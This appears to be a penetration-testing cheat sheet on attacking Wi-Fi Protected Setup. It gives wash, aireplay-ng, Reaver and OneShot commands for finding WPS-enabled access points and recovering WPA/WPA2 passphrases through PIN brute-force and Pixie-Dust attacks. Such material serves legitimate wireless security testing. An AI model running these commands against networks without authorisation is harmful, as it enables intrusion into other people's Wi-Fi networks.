WPS Attacks (Reaver and Pixie-Dust)

Attacking Wi-Fi Protected Setup (WPS)

Wi-Fi Protected Setup (WPS) can allow the WPA/WPA2 passphrase to be recovered through PIN brute-force or Pixie-Dust attacks. This section covers discovering WPS-enabled access points and attacking them with Reaver and OneShot.

Discovering WPS-Enabled Networks

1
# List WPS-enabled access points
2
sudo wash --interface wlan0 --scan --survey

Reaver

Reaver brute-forces the WPS PIN to recover the WPA/WPA2 passphrase. Fake authentication and setting the correct channel can help the attack associate.

1
# Optional fake authentication to the target
2
sudo aireplay-ng --fakeauth 30 -a AA:BB:CC:DD:EE:FF -h 11:22:33:44:55:66 wlan0
3
sudo iwconfig wlan0 channel 1                       # set the correct channel
4
sudo aireplay-ng --fakeauth 30 -a AA:BB:CC:DD:EE:FF wlan0
5

6
# Run Reaver against the target
7
sudo reaver --bssid AA:BB:CC:DD:EE:FF --channel <channel> --interface wlan0 -vvv --no-associate
8
sudo reaver --bssid AA:BB:CC:DD:EE:FF --channel 2 --interface wlan0 -v --no-associate

Pixie-Dust Attack (OneShot)

OneShot performs an offline Pixie-Dust attack without requiring monitor mode.

1
cd ~/tools/OneShot
2

3
# Scan for WPS targets
4
sudo ./oneshot.py -i wlan0 -K
5

6
# Attack a specific target
7
sudo ./oneshot.py -i wlan0 -b AA:BB:CC:DD:EE:FF -K
8

9
# Online PIN reference
10
# http://3wifi.stascorp.com/wpspin